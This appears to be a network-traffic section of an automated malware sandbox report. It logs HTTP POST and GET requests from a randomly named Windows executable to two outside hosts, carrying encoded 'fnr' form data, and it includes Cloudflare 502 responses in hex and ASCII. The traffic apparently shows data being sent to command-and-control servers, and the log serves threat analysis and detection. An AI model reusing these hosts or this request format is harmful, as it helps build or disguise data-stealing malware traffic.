                                                                                          Data Ascii: ndif]--><head><title>www.theawareness.shop | 502: Bad gateway</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots
                                                                                          Oct 25, 2024 16:55:32.635963917 CEST1236INData Raw: 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 6d 78 2d 61 75 74 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 6d 64 3a 70 78 2d 38 22 3e 0a 20
                                                                                          Data Ascii: class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3 md:w-full py-15 md:p-0 md:py-8 md:text-left md:border-solid md:border-0 md:border-b md:borde
                                                                                          Oct 25, 2024 16:55:32.635981083 CEST636INData Raw: 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 63 6c 6f 75 64 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c
                                                                                          Data Ascii: an class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:top-0 -ml-6 -bottom-4"></span> </a> </div> <span class="md:block w-full tru
                                                                                          Oct 25, 2024 16:55:32.635998964 CEST1236INData Raw: 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 73 6f 75 72 63 65 20 72 65 6c 61 74 69 76 65 20 77 2d 31 2f 33 20 6d 64 3a 77 2d 66 75 6c 6c 20 70 79 2d 31 35 20 6d 64 3a 70 2d 30 20 6d 64 3a 70 79
                                                                                          Data Ascii: cf-host-status" class="cf-error-source relative w-1/3 md:w-full py-15 md:p-0 md:py-8 md:text-left md:border-solid md:border-0 md:border-b md:border-gray-400 overflow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md
                                                                                          Oct 25, 2024 16:55:32.636015892 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 6e 20 49 20 64
                                                                                          Data Ascii: <h2 class="text-3xl font-normal leading-1.3 mb-4">What can I do?</h2> <p class="mb-6">Please try again in a few minutes.</p> </div> </div> </div> <div class="
                                                                                          Oct 25, 2024 16:55:32.636054993 CEST480INData Raw: 2f 73 70 61 6e 3e 0a 20 20 20 20 0a 20 20 3c 2f 70 3e 0a 20 20 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 76 61 72 20 62 3d 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 66 2d 66
                                                                                          Data Ascii: /span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          35192.168.2.549453104.21.83.154803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:34.497886896 CEST1799OUTPOST /no8n/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.theawareness.shop
                                                                                          Origin: http://www.theawareness.shop
                                                                                          Referer: http://www.theawareness.shop/no8n/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 6f 4a 7a 4c 43 4f 4e 68 6d 46 61 65 48 34 35 55 78 46 62 66 58 71 5a 65 74 46 2b 43 45 71 56 46 70 4e 30 5a 39 6f 48 2b 33 34 2b 61 68 4c 43 75 37 75 33 6a 38 50 6f 37 35 37 58 62 75 4f 55 4d 4f 68 30 6b 4a 62 56 54 77 4d 68 6a 4c 4b 75 48 6f 4b 36 72 68 45 38 64 6f 4f 63 42 6c 45 35 75 75 67 57 4d 34 4e 4d 56 55 61 56 6f 57 50 66 74 70 4a 33 36 74 36 61 70 48 45 38 44 35 7a 49 37 47 36 41 53 36 31 4e 46 43 4c 70 4c 33 45 4c 35 49 50 64 6b 70 77 6f 45 33 67 43 54 57 44 70 62 73 33 37 45 4e 47 45 6f 31 69 58 30 59 2f 6a 32 74 6f 6f 66 42 59 63 68 68 2f 38 2f 42 74 37 45 53 2b 48 6d 65 62 4a 6f 44 67 4e 66 4f 61 30 65 31 39 53 67 36 44 59 31 77 34 74 68 5a 6e 69 43 49 7a 74 70 64 6d 38 6b 51 54 4e 51 36 33 6d 31 41 62 71 70 67 78 42 44 45 4d 62 4e 68 5a 49 39 4b 77 39 4f 57 2f 52 58 75 38 56 79 65 4d 62 31 46 38 46 39 68 7a 69 48 6b 66 38 43 6a 6c 43 54 36 53 58 6f 46 75 64 6c 6e 37 78 45 69 70 47 30 39 71 64 6c 77 79 48 39 61 47 35 49 48 65 36 63 45 58 4b 63 4f 74 50 39 2f 61 67 6d 41 6b [TRUNCATED]
                                                                                          Data Ascii: fnr=oJzLCONhmFaeH45UxFbfXqZetF+CEqVFpN0Z9oH+34+ahLCu7u3j8Po757XbuOUMOh0kJbVTwMhjLKuHoK6rhE8doOcBlE5uugWM4NMVUaVoWPftpJ36t6apHE8D5zI7G6AS61NFCLpL3EL5IPdkpwoE3gCTWDpbs37ENGEo1iX0Y/j2toofBYchh/8/Bt7ES+HmebJoDgNfOa0e19Sg6DY1w4thZniCIztpdm8kQTNQ63m1AbqpgxBDEMbNhZI9Kw9OW/RXu8VyeMb1F8F9hziHkf8CjlCT6SXoFudln7xEipG09qdlwyH9aG5IHe6cEXKcOtP9/agmAkLAplKBECSg2Cx/+K0aPaLJrFKPFUV+1LjWR7R7pc5hhpDzo00zg/DXEj0s2wbYeVa5LTOLb3HqZ0DGncPxVLyhGV4zUBQdlU6alTjnx26XfBuYj6TaNgeiuiOsvnwrMy8HBE6r0KuoJyAhBFFFBB4IZqgYOkorPkaHcF1NyfoUPE/orXCpnOkz+YGi8ArEp80iBtAvJ3LKVArj3RhR6zJgb2QceOL4jEOsbdsJqvj5/EWHtvsWKKynLPdOFRHvUScjSg6GiJQdjEMFXnQeb5g/I+UfGpj4p9QvR/S2KH1FuRXWyEVSh5mLxcC3waNqGX/Ii8jSI6fC8KqSrlHOIPT9uBbfOkN4EMlc2Ul0JPuWo85cVeu52eQ5ygMQiFsk+WZkBTCOQ8wbC7zK5Ol6FPhLidWLYQZuY6+MJ04wKaX7x24heYDnd5fy54begv0m05j3cHFVKbRBdZpTiAl0O182NtnvID9gfn0g2oIT0F51LTnc5e23suY7W554CKUoUFjgaI/71lozrzy7L4ikOfQlJRth/eTTP/ySmK6cjonBcJaQu+sHOidLcebziz0iRNXqTIY/fsRasEhVFpcTVt56EPwrsOtBJfusMXFUlfy3yZTnpeqf0IWFDW2lGkzXoTIMmXXa5GdSCudTP1twjhTFlS1IzIJplxKA [TRUNCATED]
                                                                                          Oct 25, 2024 16:55:35.179636955 CEST1236INHTTP/1.1 502 Bad Gateway
                                                                                          Date: Fri, 25 Oct 2024 14:55:35 GMT
                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                          Content-Length: 6366
                                                                                          Connection: close
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h73M4E26erE9ldkv5xsv6LH%2BaOB28Nb%2BN7XKEczqEzQuO2brztxwU313%2Bz8nh5iSkDj428qn91KGr7Hh1erj2CLnBGOdnOClRc9oOIXGJQ14ZUaJFvStKipPF5lXODQTUO%2Brig0NE%2BA%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                          Referrer-Policy: same-origin
                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830c63eef5e83b-DFW
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1343&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1799&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e
                                                                                          Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US">
                                                                                          Oct 25, 2024 16:55:35.179692030 CEST1236INData Raw: 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 74 68 65 61 77 61 72 65 6e 65 73 73 2e 73 68 6f 70 20 7c 20 35 30 32 3a 20 42 61 64 20 67 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e
                                                                                          Data Ascii: ...<![endif]--><head><title>www.theawareness.shop | 502: Bad gateway</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta nam
                                                                                          Oct 25, 2024 16:55:35.179713964 CEST424INData Raw: 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 6d 78 2d 61 75 74 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 6d 64
                                                                                          Data Ascii: <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3 md:w-full py-15 md:p-0 md:py-8 md:text-left md:border-solid md:border-0 md:border-b
                                                                                          Oct 25, 2024 16:55:35.179730892 CEST1236INData Raw: 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a
                                                                                          Data Ascii: bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:top-0 -ml-6 -bottom-4"></span> </div> <span class="md:block w-full truncate">You</span> <h3 class="md:inline-block mt-3 md:mt-
                                                                                          Oct 25, 2024 16:55:35.179749012 CEST1236INData Raw: 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 30 32 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 77 77 77 2e 74 68 65 61 77 61 72 65 6e 65 73 73 2e 73 68 6f 70 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f
                                                                                          Data Ascii: _source=errorcode_502&utm_campaign=www.theawareness.shop" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class=
                                                                                          Oct 25, 2024 16:55:35.179774046 CEST1236INData Raw: 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 68 61 70 70 65 6e 65 64 3f 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 54 68 65 20 77 65
                                                                                          Data Ascii: xl font-normal leading-1.3 mb-4">What happened?</h2> <p>The web server reported a bad gateway error.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h
                                                                                          Oct 25, 2024 16:55:35.179795027 CEST701INData Raw: 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c
                                                                                          Data Ascii: ormance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing?utm_source=errorcode_502&utm_campaign=www.theawareness.shop" id="brand_link" target="_blank">Cloudflare</a></span> </p> <


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          36192.168.2.549454104.21.83.154803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:37.050436974 CEST497OUTGET /no8n/?fnr=lLbrB6Bvnx3/JIpslXODOLpgr0SvB4V+j54LwYHC6p+Y8c2Axs+n19k1wJ3Kl/hAKng4WeF60cdaP9fx7IaVrzYE9OAnryoKoSrX+qg0DatQasvbipewgLaCCA418y5JUQ==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.theawareness.shop
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:55:37.742943048 CEST950INHTTP/1.1 502 Bad Gateway
                                                                                          Date: Fri, 25 Oct 2024 14:55:37 GMT
                                                                                          Content-Type: text/plain; charset=UTF-8
                                                                                          Content-Length: 15
                                                                                          Connection: close
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6DpddXzHoicK8Xo4yvaiNKCvWU%2BdF0OJJeVx3Yg4NrTJNukDnz2oJuNQt%2BfQXDQ1%2FL%2BA7UGw1dJFv3Kvy80ZLaSNJj5lJGCZXH2FOmFe5rIWQaaqmAxglrc8tqScajTybmbturkOYIs%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                          Referrer-Policy: same-origin
                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830c73ee52e817-DFW
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=2226&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=497&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 30 32
                                                                                          Data Ascii: error code: 502


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          37192.168.2.5494553.33.130.190803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:42.940778971 CEST762OUTPOST /rkra/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.co2cartridges.net
                                                                                          Origin: http://www.co2cartridges.net
                                                                                          Referer: http://www.co2cartridges.net/rkra/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 45 6c 34 64 33 4c 4b 2f 4d 59 66 75 4e 44 47 4c 31 41 46 65 61 4f 38 32 70 4c 32 39 73 32 72 55 71 4d 41 48 5a 46 50 4d 57 4e 6f 42 4f 58 4a 54 6d 41 2b 45 63 52 54 54 36 46 61 67 50 39 55 7a 39 48 46 38 4b 50 63 59 4a 6a 62 74 45 36 2f 6d 58 7a 34 57 43 53 70 58 50 43 6c 4f 6d 70 4c 54 4f 31 69 4a 79 72 56 4b 39 37 72 4c 52 6f 77 33 32 44 55 31 58 79 61 46 63 45 7a 4f 6a 71 6a 4f 62 73 6e 58 6e 66 69 74 39 78 42 59 43 41 6c 79 49 56 56 73 33 6c 32 41 4d 45 6c 39 4b 38 6b 70 49 78 52 55 38 4f 78 34 64 71 4a 42 30 69 48 69 47 65 31 77 72 47 5a 58 59 36 64 65 73 4a 73 70 67 57 39 48 39 58 77 3d
                                                                                          Data Ascii: fnr=El4d3LK/MYfuNDGL1AFeaO82pL29s2rUqMAHZFPMWNoBOXJTmA+EcRTT6FagP9Uz9HF8KPcYJjbtE6/mXz4WCSpXPClOmpLTO1iJyrVK97rLRow32DU1XyaFcEzOjqjObsnXnfit9xBYCAlyIVVs3l2AMEl9K8kpIxRU8Ox4dqJB0iHiGe1wrGZXY6desJspgW9H9Xw=


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          38192.168.2.5494563.33.130.190803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:45.491887093 CEST782OUTPOST /rkra/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.co2cartridges.net
                                                                                          Origin: http://www.co2cartridges.net
                                                                                          Referer: http://www.co2cartridges.net/rkra/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 45 6c 34 64 33 4c 4b 2f 4d 59 66 75 43 41 4f 4c 33 6d 4e 65 66 75 38 35 73 4c 32 39 6e 57 72 51 71 4c 49 48 5a 42 2f 6c 52 2b 4d 42 4e 33 35 54 6e 45 71 45 66 52 54 54 78 6c 61 66 4c 39 55 43 39 48 4a 30 4b 4d 45 59 4a 6e 7a 74 45 34 6e 6d 58 41 67 52 51 79 70 52 48 69 6c 4d 6f 4a 4c 54 4f 31 69 4a 79 72 42 6b 39 37 7a 4c 52 5a 41 33 33 6d 67 30 4c 69 61 47 55 6b 7a 4f 30 36 6a 4b 62 73 6d 79 6e 64 47 44 39 79 35 59 43 46 5a 79 49 48 38 65 39 6c 32 47 43 6b 6c 75 4f 66 31 7a 45 78 4a 43 6a 2b 67 4c 46 4c 42 37 31 55 32 49 63 38 39 59 34 6d 31 76 49 70 56 70 39 35 4e 41 36 31 74 33 6a 41 6c 77 4f 65 69 4d 58 66 56 6b 4b 79 52 71 79 52 6a 78 6e 37 35 69
                                                                                          Data Ascii: fnr=El4d3LK/MYfuCAOL3mNefu85sL29nWrQqLIHZB/lR+MBN35TnEqEfRTTxlafL9UC9HJ0KMEYJnztE4nmXAgRQypRHilMoJLTO1iJyrBk97zLRZA33mg0LiaGUkzO06jKbsmyndGD9y5YCFZyIH8e9l2GCkluOf1zExJCj+gLFLB71U2Ic89Y4m1vIpVp95NA61t3jAlwOeiMXfVkKyRqyRjxn75i


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          39192.168.2.5494573.33.130.190803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:48.041011095 CEST1799OUTPOST /rkra/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.co2cartridges.net
                                                                                          Origin: http://www.co2cartridges.net
                                                                                          Referer: http://www.co2cartridges.net/rkra/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 45 6c 34 64 33 4c 4b 2f 4d 59 66 75 43 41 4f 4c 33 6d 4e 65 66 75 38 35 73 4c 32 39 6e 57 72 51 71 4c 49 48 5a 42 2f 6c 52 2b 45 42 4e 45 78 54 6d 6d 43 45 65 52 54 54 71 46 61 61 4c 39 55 62 39 48 68 4f 4b 4c 4d 6d 4a 68 33 74 45 64 37 6d 41 42 67 52 4a 43 70 52 4c 43 6c 42 6d 70 4c 47 4f 31 79 4e 79 72 52 6b 39 37 7a 4c 52 61 6f 33 33 7a 55 30 4a 69 61 46 63 45 7a 43 6a 71 6a 69 62 73 2f 50 6e 64 43 39 39 69 5a 59 43 6c 70 79 50 30 55 65 78 6c 32 45 50 45 6b 7a 4f 66 34 74 45 78 6c 4f 6a 2f 6b 68 46 4d 46 37 34 46 48 2f 4e 50 4e 6c 35 6b 74 56 4f 4b 49 45 6b 4f 4e 54 39 30 74 47 71 52 78 64 50 61 69 38 53 5a 52 42 4b 6a 6f 64 67 47 62 6a 76 4e 59 2b 72 36 4f 34 37 6b 47 6c 4b 7a 6d 6d 56 30 62 4b 46 7a 42 30 50 45 78 44 6b 46 4d 66 77 46 46 63 46 50 6f 4b 6d 50 42 58 6b 46 38 4a 73 48 62 47 7a 47 2f 6e 38 64 4b 47 57 4d 46 4b 36 42 2b 6d 5a 4d 2b 52 31 64 50 38 70 52 4c 45 69 75 51 69 36 55 73 48 4e 37 45 55 30 36 7a 57 69 71 54 69 65 72 59 53 6b 6a 53 42 66 6d 50 30 56 75 62 5a 71 4a [TRUNCATED]
                                                                                          Data Ascii: fnr=El4d3LK/MYfuCAOL3mNefu85sL29nWrQqLIHZB/lR+EBNExTmmCEeRTTqFaaL9Ub9HhOKLMmJh3tEd7mABgRJCpRLClBmpLGO1yNyrRk97zLRao33zU0JiaFcEzCjqjibs/PndC99iZYClpyP0Uexl2EPEkzOf4tExlOj/khFMF74FH/NPNl5ktVOKIEkONT90tGqRxdPai8SZRBKjodgGbjvNY+r6O47kGlKzmmV0bKFzB0PExDkFMfwFFcFPoKmPBXkF8JsHbGzG/n8dKGWMFK6B+mZM+R1dP8pRLEiuQi6UsHN7EU06zWiqTierYSkjSBfmP0VubZqJzywGBYqhJPGrGLlGx9APNqLOxXsRCPpd364F9LiCbXdo8WpFHYcE8Bpgvi0yxkxQdFAoGeYyGqusWOgnnHkKisB6bWiWDbj5YPrJxhInGh5pRStZ4nmt/Lpor8aqvpXKmUSNX5hoI98qG7jSfAtgCbfqTQksoKV1f2KKEY6E+/LWAtUStc/pauMBGiWw+F8TkWpc7nM5nd2apmdO4+JCTeW94ER/yqVch/4xPLQnHRJb7EtLf/XrXazU8+5L3wCiasFDrSFh5Gp/i1EJgmpFjoNuIvMGyCSJldTSHeRGgkIJJcJfqG0IfnDCejVvoAgYeAreDwKopfGrJctpt9p96H8rThZxNQUOVovCXrmpKMrt1IWZG2KR5Mr6NtgXw5JuICdO92HuUo3/KHxeZzAe+/rkWjXf5YVTltTf2nsCnEh8GS6ZBbN3KAWoIhdlIlWZKsN0o5sDvoh9PUKBwGoFy+za6JEDzyqqOngjdtnxMXLmmvO3xQxHZVE/Uc3MUJFvEjsr6Fc59TfGJyc8/YtqNoBVUx4l4DKH9KZWzXRKWs08AskHFu6U/o0XLuaMWqSRNqJdjeluS2MuS7ZqRXT9DqiWnzN6BAuAuPzuYsMFn/AK41+CjGeUHXWrWeDVqoLqdVDvoWLUs/pmdw6tOhwSKzxkW5fKAGSrjE [TRUNCATED]


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          40192.168.2.5494583.33.130.190803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:50.577765942 CEST497OUTGET /rkra/?zB=nPlhZPwp4vxtG8&fnr=JnQ90+2tPZf1Nw696jxVVfc1gIvKsjbxoK0oRBT7W8xrHz9Kq2mPdQqP01ufLtUvzypfXqYRP3fqM6TnVzQwHD4WCkJatv+NI2f387N2qYjySJIXyUF0LCKUQhPDzb+lYQ== HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.co2cartridges.net
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:55:51.202333927 CEST409INHTTP/1.1 200 OK
                                                                                          Server: openresty
                                                                                          Date: Fri, 25 Oct 2024 14:55:51 GMT
                                                                                          Content-Type: text/html
                                                                                          Content-Length: 269
                                                                                          Connection: close
